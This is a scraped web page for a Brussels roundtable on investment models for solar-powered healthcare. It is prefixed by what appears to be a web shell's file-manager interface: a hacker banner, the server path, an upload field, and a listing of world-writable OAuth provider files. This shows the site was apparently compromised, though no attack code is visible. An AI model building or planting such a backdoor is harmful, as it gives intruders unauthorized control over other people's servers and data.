I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
AbstractProvider.php13449 KBFebruary 16 2024 09:28:200666
BitbucketProvider.php2911 KBFebruary 16 2024 09:28:200666
FacebookProvider.php4507 KBFebruary 16 2024 09:28:200666
GithubProvider.php2577 KBFebruary 16 2024 09:28:200666
GitlabProvider.php1771 KBFebruary 16 2024 09:28:200666
GoogleProvider.php2684 KBFebruary 16 2024 09:28:200666
InvalidStateException.php144 KBFebruary 16 2024 09:28:200666
LinkedInOpenIdProvider.php2091 KBFebruary 16 2024 09:28:200666
LinkedInProvider.php4245 KBFebruary 16 2024 09:28:200666
ProviderInterface.php416 KBFebruary 16 2024 09:28:200666
SlackProvider.php2655 KBFebruary 16 2024 09:28:200666
Token.php1063 KBFebruary 16 2024 09:28:200666
TwitterProvider.php3105 KBFebruary 16 2024 09:28:200666
User.php1690 KBFebruary 16 2024 09:28:200666
VORNE.AI - Event Details
Building Investment Models for Solarising Health
30 May
2024
CHIEF

Building Investment Models for Solarising Health

Lack of reliable electricity is a major impediment to scaling access to healthcare. Solar solutions are already demonstrating great potential to transform last mile health care and pandemic preparedness. This roundtable brings select ministers and investors from the multilaterals and private sector to explore investment models for scaling access to electricity for healthcare.

Thursday 30 May | 18H00-19H30 | Intercontinental Hotel, Bruxelles

Tags: